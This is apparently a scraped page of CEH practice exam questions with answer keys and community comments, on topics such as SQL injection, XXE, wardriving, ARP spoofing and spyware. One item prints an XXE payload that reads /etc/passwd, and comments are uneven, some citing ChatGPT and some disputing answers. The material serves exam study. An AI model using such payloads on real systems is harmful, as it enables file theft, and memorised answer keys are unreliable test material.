✉️  insanint 7 months, 1 week ago

Selected Answer: A

A. Reverse engineering

Reverse engineering involves the process of analyzing a system, software, or hardware to understand its design, implementation, and functionality. In this case, Jacob wants to extract the source code and disassemble the mobile application to gain insights into its inner workings for security improvement purposes.

upvoted 1 times

✉️  nosavotor 7 months, 1 week ago

Im unsure about this ethical hacking strategy

upvoted 1 times

Mirai malware targets IoT devices.

After infiltration, it uses them to propagate and create botnets that are then used to launch which types of attack?

- A. MITM attack
- B. Password attack
- C. Birthday attack
- D. DDoS attack

Correct Answer: *D*

*Community vote distribution*

D (100%)

✉️  **LordXander** 5 months, 4 weeks ago

**Selected Answer: D**

Botnets are usually used for DDoS attacks  
upvoted 1 times

✉️  **insaniunt** 7 months, 1 week ago

**Selected Answer: D**

D. DDoS attack  
upvoted 1 times

✉️  **nosavotor** 7 months, 1 week ago

Hey team can we double-check this response  
upvoted 1 times

Bill has been hired as a penetration tester and cyber security auditor for a major credit card company.

Which information security standard is most applicable to his role?

- A. FISMA
- B. Sarbanes-Oxley Act
- C. HITECH
- D. PCI-DSS

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: D

Whenever you are seeing the words credit card and audit, you click on PCI DSS - no question asked  
upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: D

D. PCI-DSS (Payment Card Industry Data Security Standard)  
upvoted 2 times

✉️ 🚑 nosavotor 7 months, 1 week ago

Team is this CEH method correct  
upvoted 1 times

Geena, a cloud architect, uses a master component in the Kubernetes cluster architecture that scans newly generated pods and allocates a node to them. This component can also assign nodes based on factors such as the overall resource requirement, data locality, software/hardware/policy restrictions, and internal workload interventions.

Which of the following master components is explained in the above scenario?

- A. Kube-apiserver
- B. Etcd cluster
- C. Kube-controller-manager
- D. Kube-scheduler

Correct Answer: D

*Community vote distribution*

D (100%)

 shaody 1 month, 1 week ago

Selected Answer: D

Kube-scheduler is a master component that scans newly generated pods and allocates a node for them.

upvoted 1 times

 LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 - 3096

upvoted 1 times

 insaniunt 7 months, 1 week ago

Selected Answer: D

The master component explained in the scenario is the Kube-scheduler. The Kube-scheduler is responsible for making decisions about which node newly created pods should be scheduled to. It considers various factors such as resource requirements, data locality, hardware/software constraints and policies. The Kube-scheduler assigns nodes to pods based on these factors, ensuring efficient resource utilization and meeting specified requirements.

upvoted 2 times

 nosavotor 7 months, 1 week ago

CEH specialists could you please check if this approach is correct

upvoted 1 times

According to the NIST cloud deployment reference architecture, which of the following provides connectivity and transport services to consumers?

- A. Cloud connector
- B. Cloud broker
- C. Cloud provider
- D. Cloud carrier

Correct Answer: *D*

*Community vote distribution*

D (100%)

✉  shaody 1 month, 1 week ago

Selected Answer: D

Cloud carrier - An intermediary for providing connectivity and transport services between cloud consumers and providers  
upvoted 1 times

✉  kinaJ 2 months ago

Selected Answer: D

Cloud connector: This term is not specifically defined in the NIST cloud deployment reference architecture.

Cloud broker: This entity manages the use, performance, and delivery of cloud services, and negotiates relationships between Cloud Providers and Cloud Consumers.

Cloud provider: This entity makes one or more cloud services available to consumers. They are responsible for making a service available to interested parties.

Cloud carrier: This entity provides connectivity and transport of cloud services from Cloud Providers to Cloud Consumers. They act as the intermediary that provides the necessary networking and transport for cloud services to be delivered.

upvoted 1 times

✉  LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 - 3060  
upvoted 1 times

✉  insanaint 7 months, 1 week ago

Selected Answer: D

D. Cloud carrier  
upvoted 1 times

✉  nosavotor 7 months, 1 week ago

Im a bit hesitant about the effectiveness of this ethical hacking approach  
upvoted 1 times

A group of hackers were roaming around a bank office building in a city, driving a luxury car. They were using hacking tools on their laptop with the intention to find a free-access wireless network.

What is this hacking process known as?

- A. Wardriving
- B. Spectrum analysis
- C. Wireless sniffing
- D. GPS mapping

Correct Answer: A

*Community vote distribution*

A (100%)

✉️ 🚑 shaody 1 month, 1 week ago

Selected Answer: A

WarDriving: Attackers drive around with Wi-Fi-enabled laptops installed with a wireless discovery tool to map out open wireless networks.  
upvoted 1 times

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: A

CEHv12 1386  
upvoted 1 times

✉️ 🚑 dobarb 6 months, 3 weeks ago

A. CEH page 1386  
upvoted 1 times

✉️ 🚑 insaniumt 7 months, 1 week ago

Selected Answer: A

The hacking process described in the scenario, where individuals roam around looking for free-access wireless networks, is known as Wardriving  
upvoted 2 times

Which among the following is the best example of the third step (delivery) in the cyber kill chain?

- A. An intruder creates malware to be used as a malicious attachment to an email.
- B. An intruder's malware is triggered when a target opens a malicious email attachment.
- C. An intruder's malware is installed on a targets machine.
- D. An intruder sends a malicious attachment via email to a target.

Correct Answer: D

*Community vote distribution*

D (100%)

✉️👤 shaody 1 month, 1 week ago

Selected Answer: D

Delivery phase - Send weaponized bundle to the victim using email, USB, etc.  
upvoted 1 times

✉️👤 qtygbapjpesdayazko 5 months, 4 weeks ago

keyword "sends" delivery.  
upvoted 1 times

✉️👤 LordXander 5 months, 4 weeks ago

Selected Answer: D

D - because it is actually delivering  
upvoted 1 times

✉️👤 insanaint 7 months, 1 week ago

Selected Answer: D

The third step in the cyber kill chain is the Delivery phase. It involves delivering the malicious payload to the target system. Among the given options, the best example of the delivery step is:

- D. An intruder sends a malicious attachment via email to a target.  
upvoted 2 times

Calvin, a grey-hat hacker, targets a web application that has design flaws in its authentication mechanism. He enumerates usernames from the login form of the web application, which requests users to feed data and specifies the incorrect field in case of invalid credentials. Later, Calvin uses this information to perform social engineering. Which of the following design flaws in the authentication mechanism is exploited by Calvin?

- A. User impersonation
- B. Insecure transmission of credentials
- C. Password reset mechanism
- D. Verbose failure messages

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 2030

upvoted 1 times

✉️ 🚑 dobarb 6 months, 3 weeks ago

D. CEH page 2030

upvoted 1 times

✉️ 🚑 insanint 7 months, 1 week ago

Selected Answer: D

D. Verbose failure messages

upvoted 2 times

Rebecca, a security professional, wants to authenticate employees who use web services for safe and secure communication. In this process, she employs a component of the Web Service Architecture, which is an extension of SOAP, and it can maintain the integrity and confidentiality of SOAP messages.

Which of the following components of the Web Service Architecture is used by Rebecca for securing the communication?

- A. WS-Work Processes
- B. WS-Security
- C. WS-Policy
- D. WSDL

Correct Answer: **B**

*Community vote distribution*

B (100%)

 shaody 1 month, 1 week ago

Selected Answer: B

WS-Security: It is an extension of SOAP and aims to maintain the integrity and confidentiality of SOAP messages as well as to authenticate users.  
upvoted 1 times

 LordXander 5 months, 4 weeks ago

Selected Answer: B

CEHv12 - 1890  
upvoted 1 times

 insaniunt 7 months, 1 week ago

Selected Answer: B

Rebecca is using WS-Security to secure the communication. WS-Security is an extension of SOAP that provides a set of mechanisms to ensure the integrity and confidentiality of SOAP messages in web services  
upvoted 2 times

Which wireless security protocol replaces the personal pre-shared key (PSK) authentication with Simultaneous Authentication of Equals (SAE) and is therefore resistant to offline dictionary attacks?

- A. Bluetooth
- B. WPA2-Enterprise
- C. WPA3-Personal
- D. ZigBee

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: C

WPA3 - Personal

It is mainly used to deliver password-based authentication using the SAE protocol, also known as Dragonfly Key Exchange.

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: C

SAE or known as Dragon Fly

upvoted 1 times

✉️  insaniant 7 months, 1 week ago

Selected Answer: C

The wireless security protocol that replaces the Personal Pre-Shared Key (PSK) authentication with Simultaneous Authentication of Equals (SAE) and is resistant to offline dictionary attacks is part of the WPA3 standard. Therefore, the correct answer is:

- C. WPA3-Personal

upvoted 1 times

Sam, a web developer, was instructed to incorporate a hybrid encryption software program into a web application to secure email messages. Sam used an encryption software, which is a free implementation of the OpenPGP standard that uses both symmetric-key cryptography and asymmetric-key cryptography for improved speed and secure key exchange.

What is the encryption software employed by Sam for securing the email messages?

- A. PGP
- B. SMTP
- C. GPG
- D. S/MIME

Correct Answer: C

*Community vote distribution*

C (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: C

CEHv12 - 3402

upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: C

Sam is using GPG (GNU Privacy Guard), which is a free implementation of the OpenPGP standard. GPG combines symmetric-key cryptography and asymmetric-key cryptography to provide a hybrid encryption approach, offering both speed and secure key exchange.

upvoted 1 times

Roma is a member of a security team. She was tasked with protecting the internal network of an organization from imminent threats. To accomplish this task, Roma fed threat intelligence into the security devices in a digital format to block and identify inbound and outbound malicious traffic entering the organization's network.

Which type of threat intelligence is used by Roma to secure the internal network?

- A. Operational threat intelligence
- B. Strategic threat intelligence
- C. Tactical threat intelligence
- D. Technical threat intelligence

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: D

Technical threat intelligence is directly fed into the security devices in digital format to block and identify inbound and outbound malicious traffic entering the organization's network.

upvoted 1 times

✉️  kinaJ 2 months ago

Selected Answer: D

Explanation:

Operational threat intelligence: Provides information about specific threats against the organization. It is typically more focused on specific incidents and real-time situations.

Strategic threat intelligence: Provides a broader, long-term view of threats and trends. It is often used by senior management to inform policy and strategy.

Tactical threat intelligence: Focuses on the tactics, techniques, and procedures (TTPs) used by threat actors. It is generally used for understanding and mitigating specific threats.

Technical threat intelligence: Involves technical details about threats, such as indicators of compromise (IOCs) like IP addresses, domain names, file hashes, and malware signatures. This type of intelligence is used to configure security devices to detect and block malicious activities.

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 - 66

upvoted 1 times

✉️  qwerty100 7 months ago

Selected Answer: D

D. Technical threat intelligence

upvoted 1 times

✉️  insanint 7 months, 1 week ago

Selected Answer: D

Roma is using Technical threat intelligence to feed information into security devices to identify and block inbound and outbound malicious traffic. Technical threat intelligence typically provides detailed technical information about threats, such as indicators of compromise (IoCs) and specific details about the tactics, techniques, and procedures (TTPs) used by malicious actors.

upvoted 1 times

This type of injection attack does not show any error message. It is difficult to exploit as it returns information when the application is given SQL payloads that elicit a true or false response from the server. By observing the response, an attacker can extract sensitive information.

What type of attack is this?

- A. Union SQL injection
- B. Error-based SQL injection
- C. Time-based SQL injection
- D. Blind SQL injection

Correct Answer: D

*Community vote distribution*

D (100%)

✉ shaody 1 month, 1 week ago

Selected Answer: D

No data is transmitted through the web application, and it is not possible for an attacker to retrieve the actual result of the injection; therefore, it is called blind SQL injection.

upvoted 1 times

✉ LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 - 2225

upvoted 1 times

✉ qwerty100 7 months ago

Selected Answer: D

D. Blind SQL injection

upvoted 1 times

✉ insanaint 7 months, 1 week ago

Selected Answer: D

Blind SQL injection attacks, the attacker doesn't directly see the results of the injected SQL query but can infer information based on the application's response

upvoted 1 times

An attacker can employ many methods to perform social engineering against unsuspecting employees, including scareware.

What is the best example of a scareware attack?

- A. A pop-up appears to a user stating, "You have won a free cruise! Click here to claim your prize!"
- B. A banner appears to a user stating, "Your account has been locked. Click here to reset your password and unlock your account."
- C. A pop-up appears to a user stating, "Your computer may have been infected with spyware. Click here to install an anti-spyware tool to resolve this issue."
- D. A banner appears to a user stating, "Your Amazon order has been delayed. Click here to find out your new delivery date."

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: C

Scareware is often seen in pop-ups that tell the target user that their machine has been infected with malware.

upvoted 1 times

✉️  Slim656 1 month, 3 weeks ago

C. A pop-up appears to a user stating, "Your computer may have been infected with spyware. Click here to install an anti-spyware tool to resolve this issue."

Scareware is a type of social engineering attack where malicious actors use deceptive tactics to scare users into taking certain actions, usually involving downloading or purchasing fake security software. Option C fits this description because it creates a sense of urgency and fear about a potential spyware infection, urging the user to click on a link to install what is often a fraudulent or harmful program.

upvoted 1 times

✉️  insanaint 7 months, 1 week ago

Selected Answer: C

C. A pop-up appears to a user stating, "Your computer may have been infected with spyware. Click here to install an anti-spyware tool to resolve this issue."

upvoted 2 times

Leverox Solutions hired Arnold, a security professional, for the threat intelligence process. Arnold collected information about specific threats against the organization. From this information, he retrieved contextual information about security events and incidents that helped him disclose potential risks and gain insight into attacker methodologies. He collected the information from sources such as humans, social media, and chat rooms as well as from events that resulted in cyberattacks. In this process, he also prepared a report that includes identified malicious activities, recommended courses of action, and warnings for emerging attacks.

What is the type of threat intelligence collected by Arnold in the above scenario?

- A. Strategic threat intelligence
- B. Operational threat intelligence
- C. Technical threat intelligence
- D. Tactical threat intelligence

Correct Answer: B

*Community vote distribution*

B (100%)

✉️ shaody 1 month, 1 week ago

Selected Answer: B

It provides contextual information about security events and incidents that help defenders disclose potential risks, provide greater insight into attacker methodologies, identify past malicious activities, and perform investigations on malicious activity in a more efficient way.

upvoted 1 times

✉️ LordXander 5 months, 4 weeks ago

Selected Answer: B

CEHv12 65/66

upvoted 1 times

✉️ qwerty100 7 months ago

Selected Answer: B

B. Operational threat intelligence

upvoted 1 times

✉️ insanaint 7 months, 1 week ago

Selected Answer: B

Arnold, in the described scenario, is collecting Operational threat intelligence. Operational threat intelligence focuses on the current and near-term threats, providing information about specific security events, incidents, and potential risks. It helps security professionals like Arnold understand attacker methodologies, identify malicious activities, and take appropriate actions.

upvoted 1 times

Which of the following types of SQL injection attacks extends the results returned by the original query, enabling attackers to run two or more statements if they have the same structure as the original one?

- A. Union SQL injection
- B. Error-based injection
- C. Blind SQL injection
- D. Boolean-based blind SQL injection

Correct Answer: A

*Community vote distribution*

A (100%)

✉  **sunce12** 3 months, 1 week ago

- A. Union SQL injection  
upvoted 1 times

✉  **LordXander** 5 months, 4 weeks ago

- Selected Answer: A  
CEHv12 - 2220  
upvoted 1 times

✉  **insaniunt** 7 months, 1 week ago

- Selected Answer: A  
A. Union SQL injection  
upvoted 2 times

What information security law or standard aims at protecting stakeholders and the general public from accounting errors and fraudulent activities within organizations?

- A. FISMA
- B. PCI-DSS
- C. SOX
- D. ISO/IEC 27001:2013

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  Binx 1 month, 2 weeks ago

C. SOX (Sarbanes-Oxley Act)

Explanation:

SOX (Sarbanes-Oxley Act): The Sarbanes-Oxley Act of 2002, commonly known as SOX, was enacted in response to major financial scandals (like Enron and WorldCom) to protect investors by improving the accuracy and reliability of corporate disclosures. SOX mandates strict reforms to improve financial disclosures from corporations and prevent accounting fraud. It includes provisions related to internal controls, financial reporting and auditing processes, requiring organizations to implement robust controls to ensure the accuracy of financial information.

upvoted 1 times

✉️  qwerty100 7 months ago

Selected Answer: C

C. SOX

Module 01 Page 88

upvoted 1 times

✉️  nosavotor 7 months ago

Hey team can we double-check this response

upvoted 1 times

Which of the following web vulnerabilities would an attacker be attempting to exploit if they delivered the following input?

```
<!DOCTYPE blah [< !ENTITY trustme SYSTEM "file:///etc/passwd" >] >
```

- A. SQLi
- B. XXE
- C. XXS
- D. IDOR

Correct Answer: *B*

*Community vote distribution*

B (100%)

✉  shaody 1 month, 1 week ago

Selected Answer: B

XML External Entity attack is that can occur when a misconfigured XML parser allows applications to parse XML input from an unreliable source.  
upvoted 1 times

✉  g\_man\_rap 5 months ago

B. XXE (XML External Entity)

Explanation: The code in the image is an example of an XML document type definition (DTD) that declares an external entity called trustme with a system identifier pointing to a local file (/etc/passwd). The attacker is attempting to exploit an XXE vulnerability that allows for an external entity to be defined and then used within the XML parser. If the parser is misconfigured and allows for external entities to be processed, it could lead to the disclosure of sensitive files on the server, denial of service, server side request forgery, or even the execution of arbitrary code in some cases.

Characteristics: Typically involves the retrieval of data from the server, interacting with any back-end or external systems that the web server itself can access, and can often be used to perform DOS attacks or run arbitrary code.

upvoted 1 times

✉  qtygbapjpesdayazko 5 months, 4 weeks ago

keyword Entity - XML External Entity Injection (XXE)  
upvoted 2 times

✉  insanaint 7 months, 1 week ago

Selected Answer: B

B. XXE (page 1935)  
upvoted 2 times

What useful information is gathered during a successful Simple Mail Transfer Protocol (SMTP) enumeration?

- A. A list of all mail proxy server addresses used by the targeted host.
- B. The internal command RCPT provides a list of ports open to message traffic.
- C. The two internal commands VRFY and EXPN provide a confirmation of valid users, email addresses, aliases, and mailing lists.
- D. Reveals the daily outgoing message limits before mailboxes are locked.

Correct Answer: C

*Community vote distribution*

C (100%)

✉️👤 shaody 1 month, 1 week ago

Selected Answer: C

SMTP servers respond differently to VRFY, EXPN, and RCPT TO commands for valid and invalid users, based on which we can determine valid users on the SMTP server. Attackers can directly interact with SMTP to collect a list of valid users on the SMTP server.

upvoted 1 times

✉️👤 insanaint 7 months, 1 week ago

Selected Answer: C

C. The two internal commands VRFY and EXPN provide a confirmation of valid users, email addresses, aliases, and mailing lists.

upvoted 3 times

When considering how an attacker may exploit a web server, what is web server footprinting?

- A. When an attacker creates a complete profile of the site's external links and file structures
- B. When an attacker uses a brute-force attack to crack a web-server password
- C. When an attacker implements a vulnerability scanner to identify weaknesses
- D. When an attacker gathers system-level data, including account details and server names

Correct Answer: D

*Community vote distribution*

D (64%)

A (36%)

✉️  shaody 1 month, 1 week ago

Selected Answer: D

Gather valuable system-level data such as account details, operating system, software versions, server names, and database schema details  
upvoted 1 times

✉️  kevin403 1 month, 2 weeks ago

Selected Answer: D

D. I got full marks and this is one of the questions.  
upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 - 1810  
upvoted 1 times

✉️  ariel004 6 months, 1 week ago

old Question #: 362 from V11 - it's D  
upvoted 1 times

✉️  sh4dali 6 months, 3 weeks ago

Selected Answer: D

D is correct  
upvoted 3 times

✉️  ET0722 6 months, 4 weeks ago

The course speaks of a "blueprint" that will be created when the footprinting is complete. This would include the server names, account details, and domains that are available from the company's footprint. I would think that D is the more accurate answer. Ref: Module 2 pg 107-108.  
upvoted 1 times

✉️  qwerty100 7 months ago

Selected Answer: D

D. When an attacker gathers system-level data, including account details and server names  
upvoted 1 times

✉️  nosavotor 7 months ago

Team is this CEH method correct  
upvoted 1 times

✉️  LeongCC 7 months, 1 week ago

Selected Answer: A

I think the A is more suitable

A. When an attacker creates a complete profile of the site's external links and file structures remains the best fit for the concept of web server footprinting as described in the context of the original question.

upvoted 4 times

An attacker identified that a user and an access point are both compatible with WPA2 and WPA3 encryption. The attacker installed a rogue access point with only WPA2 compatibility in the vicinity and forced the victim to go through the WPA2 four-way handshake to get connected. After the connection was established, the attacker used automated tools to crack WPA2-encrypted messages.

What is the attack performed in the above scenario?

- A. Cache-based attack
- B. Timing-based attack
- C. Downgrade security attack
- D. Side-channel attack

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  **sunce12** 3 months, 1 week ago

C. Downgrade security attack  
upvoted 1 times

✉️  **LordXander** 5 months, 4 weeks ago

Selected Answer: C  
CEHv12 2510  
upvoted 1 times

✉️  **dobarb** 6 months, 3 weeks ago

C. CEH page 2510  
upvoted 1 times

✉️  **insaniunt** 7 months, 1 week ago

Selected Answer: C  
C. Downgrade security attack  
upvoted 3 times

James is working as an ethical hacker at Technix Solutions. The management ordered James to discover how vulnerable its network is towards footprinting attacks. James took the help of an open-source framework for performing automated reconnaissance activities. This framework helped James in gathering information using free tools and resources.

What is the framework used by James to conduct footprinting and reconnaissance activities?

- A. OSINT framework
- B. WebSploit Framework
- C. Browser Exploitation Framework
- D. SpeedPhish Framework

Correct Answer: A

*Community vote distribution*

A (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: A

open-source framework - literally OSINT framework  
upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: A

A. OSINT framework  
upvoted 3 times

What would be the purpose of running "wget 192.168.0.15 -q -S" against a web server?

- A. Performing content enumeration on the web server to discover hidden folders
- B. Using wget to perform banner grabbing on the webserver
- C. Flooding the web server with requests to perform a DoS attack
- D. Downloading all the contents of the web page locally for further examination

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️👤 **insaniunt** Highly Voted 7 months, 1 week ago

Selected Answer: B

B. Using wget to perform banner grabbing on the webserver

-q is used to make wget operate in quiet mode, which means it won't show the progress bar.  
-S is used to make wget print the headers of the HTTP response, which includes server

upvoted 5 times

✉️👤 **shaody** Most Recent 1 month, 1 week ago

Selected Answer: B

B is correct. -q is in quiet mode and -S Print the headers sent by HTTP servers and responses sent by FTP servers.

upvoted 1 times

✉️👤 **LordXander** 5 months, 4 weeks ago

Selected Answer: B

Checks out with AI

upvoted 1 times

Harris is attempting to identify the OS running on his target machine. He inspected the initial TTL in the IP header and the related TCP window size and obtained the following results:

TTL: 64 -

Window Size: 5840 -

What the OS running on the target machine?

- A. Windows OS
- B. Mac OS
- C. Linux OS
- D. Solaris OS

Correct Answer: C

*Community vote distribution*

C (100%)

✉  shaody 1 month, 1 week ago

C is correct

upvoted 1 times

✉  LordXander 5 months, 4 weeks ago

CEHv12 lab manual 214

upvoted 1 times

✉  insanaint 7 months, 1 week ago

C. Linux OS

upvoted 3 times

Calvin, a software developer, uses a feature that helps him auto-generate the content of a web page without manual involvement and is integrated with SSI directives. This leads to a vulnerability in the developed web application as this feature accepts remote user inputs and uses them on the page. Hackers can exploit this feature and pass malicious SSI directives as input values to perform malicious activities such as modifying and erasing server files.

What is the type of injection attack Calvin's web application is susceptible to?

- A. CRLF injection
- B. Server-side template injection
- C. Server-side JS injection
- D. Server-side includes injection

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: D

Server-side Includes is an application feature. Attackers exploit this feature to pass malicious SSI directives as input values and perform malicious activities.

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 - 1913

upvoted 1 times

✉️  insanaint 7 months, 1 week ago

Selected Answer: D

D. Server-side includes injection

upvoted 3 times

Jack, a professional hacker, targets an organization and performs vulnerability scanning on the target web server to identify any possible weaknesses, vulnerabilities, and misconfigurations. In this process, Jack uses an automated tool that eases his work and performs vulnerability scanning to find hosts, services, and other vulnerabilities in the target server.

Which of the following tools is used by Jack to perform vulnerability scanning?

- A. Infoga
- B. NCollector Studio
- C. Netsparker
- D. WebCopier Pro

Correct Answer: C

*Community vote distribution*

C (100%)

✉️ 🚑 shaody 1 month, 1 week ago

C is correct.

upvoted 1 times

✉️ 🚑 yicx1 3 months ago

Selected Answer: C

Netsparker is a leading web vulnerability management software tool

upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: C

C. Netsparker

upvoted 2 times

Stephen, an attacker, targeted the industrial control systems of an organization. He generated a fraudulent email with a malicious attachment and sent it to employees of the target organization. An employee who manages the sales software of the operational plant opened the fraudulent email and clicked on the malicious attachment. This resulted in the malicious attachment being downloaded and malware being injected into the sales software maintained in the victim's system. Further, the malware propagated itself to other networked systems, finally damaging the industrial automation components.

What is the attack technique used by Stephen to damage the industrial systems?

- A. HMI-based attack
- B. SMishing attack
- C. Reconnaissance attack
- D. Spear-phishing attack

Correct Answer: D

*Community vote distribution*

D (89%) 11%

✉️ shaody 1 month, 1 week ago

Selected Answer: D

D is correct.

upvoted 1 times

✉️ GK2205 2 months, 1 week ago

Selected Answer: D

Definitely D: Their technique is social engineering to inject malware that propagated. Nowhere in the description is a Human-Machine-interface (HMI) discussed

upvoted 1 times

✉️ g\_man\_rap 5 months ago

D. Spear-phishing attack

Description: Spear-phishing is a more targeted form of phishing where the attacker sends crafted emails to specific individuals or organizations. These emails often contain malware or links to malicious websites and are designed to appear legitimate to trick the recipient into performing actions that trigger malware installation or reveal confidential information. This matches Stephen's actions as described, where he sends a fraudulent email with a malicious attachment, directly targeting employees likely to have access to critical systems.

upvoted 1 times

✉️ LordXander 5 months, 4 weeks ago

Selected Answer: D

The only attack that does damage to a ICS system, is HMI-based attack

upvoted 1 times

✉️ LordXander 5 months, 4 weeks ago

I meant to click on A

upvoted 1 times

✉️ anarchyeagle 6 months, 1 week ago

Selected Answer: D

ChatGPT:

The attack technique used by Stephen to damage the industrial systems is described as a D. Spear-phishing attack.

Here's why:

Spear-phishing attack: This is a targeted attack where the attacker sends fraudulent emails to specific individuals or organizations to deceive them into clicking on malicious links or attachments. The goal is to gain unauthorized access to systems or to inject malware, as seen in the scenario described. The fact that Stephen generated a fraudulent email with a malicious attachment and targeted employees of the organization, leading to the compromise of their systems, fits the definition of a spear-phishing attack.

HMI-based attack: This involves targeting the Human-Machine Interface (HMI) systems that are used to monitor and control industrial processes. While the malware did affect industrial automation components, the initial attack vector was through a phishing email, not a direct attack on HMI systems.

upvoted 1 times

✉️  duke\_of\_kamulu 6 months, 2 weeks ago

spear-phishing attack D

Spear Phishing Attackers send fake emails containing malicious links or attachments, seemingly originated from legitimate or well-known sources, to the victim. When the victim clicks on the link or downloads the attachment, it injects malware, starts damaging the resources, and spreads itself to other systems. For example, an attacker sends a fraudulent email with a malicious attachment to a victim system that maintains the sales software of the operational plant. When the victim downloads the attachment, the malware is injected into the sales software, propagates itself to other networked systems, and finally damages industrial automation components.

upvoted 1 times

✉️  fridayfred3p 7 months ago

Selected Answer: A

HMI-based attack. It asks what Stephen used to damage the industrial systems.

upvoted 1 times

✉️  500eb22 7 months ago

Selected Answer: D

HMI-based attack. It asks what Stephen used to damage the industrial systems.

upvoted 1 times

✉️  insanaint 7 months, 1 week ago

Selected Answer: D

D. Spear-phishing attack

upvoted 3 times

Question #290

Topic 1

In an attempt to damage the reputation of a competitor organization, Hailey, a professional hacker, gathers a list of employee and client email addresses and other related information by using various search engines, social networking sites, and web spidering tools. In this process, she also uses an automated tool to gather a list of words from the target website to further perform a brute-force attack on the previously gathered email addresses.

What is the tool used by Hailey for gathering a list of words from the target website?

- A. CeWL
- B. Orbot
- C. Shadowsocks
- D. Psiphon

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: A

An attacker can use the CeWL tool to gather a list of words from the target website.

upvoted 1 times

✉️  sunce12 3 months, 1 week ago

A. CeWL

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: A

CEHv12 - 202

upvoted 1 times

✉️  insanaint 7 months, 1 week ago

Selected Answer: A

A. CeWL

upvoted 2 times

Miley, a professional hacker, decided to attack a target organization's network. To perform the attack, she used a tool to send fake ARP messages over the target network to link her MAC address with the target system's IP address. By performing this, Miley received messages directed to the victim's MAC address and further used the tool to intercept, steal, modify, and block sensitive communication to the target system.

What is the tool employed by Miley to perform the above attack?

- A. Wireshark
- B. BetterCAP
- C. DerpNSpoof
- D. Gobbler

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️ 🚑 shaody 1 month, 1 week ago

Selected Answer: B

B is correct.

upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: B

B. BetterCAP

BetterCAP is a tool that performs various network attacks, including ARP spoofing, for the purpose of network manipulation and interception of sensitive data.

upvoted 2 times

George, an employee of an organization, is attempting to access restricted websites from an official computer. For this purpose, he used an anonymizer that masked his real IP address and ensured complete and continuous anonymity for all his online activities.

Which of the following anonymizers helps George hide his activities?

- A. <https://www.baidu.com>
- B. <https://www.guardster.com>
- C. <https://www.wolframalpha.com>
- D. <https://karmadecay.com>

Correct Answer: *B*

*Community vote distribution*

B (100%)

✉  **anarchyeagle** 6 months, 1 week ago

Selected Answer: B

ChatGPT:

Among the options provided, the one that serves as an anonymizer, which can help George hide his online activities by masking his real IP address is:

- B. <https://www.guardster.com>

Guardster is a service that provides privacy protection, including the ability to surf the web anonymously, which matches the description of what George is looking for. The other options listed do not offer anonymizing services:

- A. <https://www.baidu.com> - Baidu is a Chinese search engine, not an anonymizer.
- C. <https://www.wolframalpha.com> - Wolfram Alpha is a computational knowledge engine and does not provide IP masking or anonymizing services.
- D. <https://karmadecay.com> - Karma Decay is a reverse image search tool primarily used on Reddit to find reposts; it does not offer anonymizing services.

upvoted 1 times

✉  **nosavotor** 7 months ago

Could someone confirm the effectiveness of this ethical hacking method

upvoted 2 times

Kevin, an encryption specialist, implemented a technique that enhances the security of keys used for encryption and authentication. Using this technique, Kevin input an initial key to an algorithm that generated an enhanced key that is resistant to brute-force attacks.

What is the technique employed by Kevin to improve the security of encryption keys?

- A. Key stretching
- B. Public key infrastructure
- C. Key derivation function
- D. Key reinstallation

Correct Answer: A

*Community vote distribution*

A (100%)

✉ shaody 1 month, 1 week ago

Selected Answer: A

In the key stretching technique, the initial key is given as input to an algorithm that generates an enhanced key. The key must be sufficiently resistant to brute-force attacks.

upvoted 1 times

✉ LordXander 5 months, 4 weeks ago

Selected Answer: A

CEHv12 - 3462

upvoted 1 times

✉ ariel004 6 months, 2 weeks ago

C:

Based on the description provided, Kevin employed a technique called a key derivation function (KDF) to enhance the security of encryption keys. A KDF is a cryptographic algorithm that takes an input key and generates a derived key that is resistant to brute-force attacks.

upvoted 1 times

✉ insanint 7 months, 1 week ago

Selected Answer: A

A. Key stretching

Key stretching is a technique that increases the computational difficulty of deriving the original key, making it more resistant to brute-force attacks. It is commonly used to enhance the security of passwords and encryption keys.

upvoted 2 times

Jake, a professional hacker, installed spyware on a target iPhone to spy on the target user's activities. He can take complete control of the target mobile device by jailbreaking the device remotely and record audio, capture screenshots, and monitor all phone calls and SMS messages.

What is the type of spyware that Jake used to infect the target device?

- A. DroidSheep
- B. Androrat
- C. Trident
- D. Zscaler

Correct Answer: C

*Community vote distribution*

C (75%)      B (25%)

✉️  Lost\_Memo 4 months ago

Selected Answer: B

Androrat

upvoted 1 times

✉️  insanaint 7 months, 1 week ago

Selected Answer: C

C. Trident

upvoted 3 times

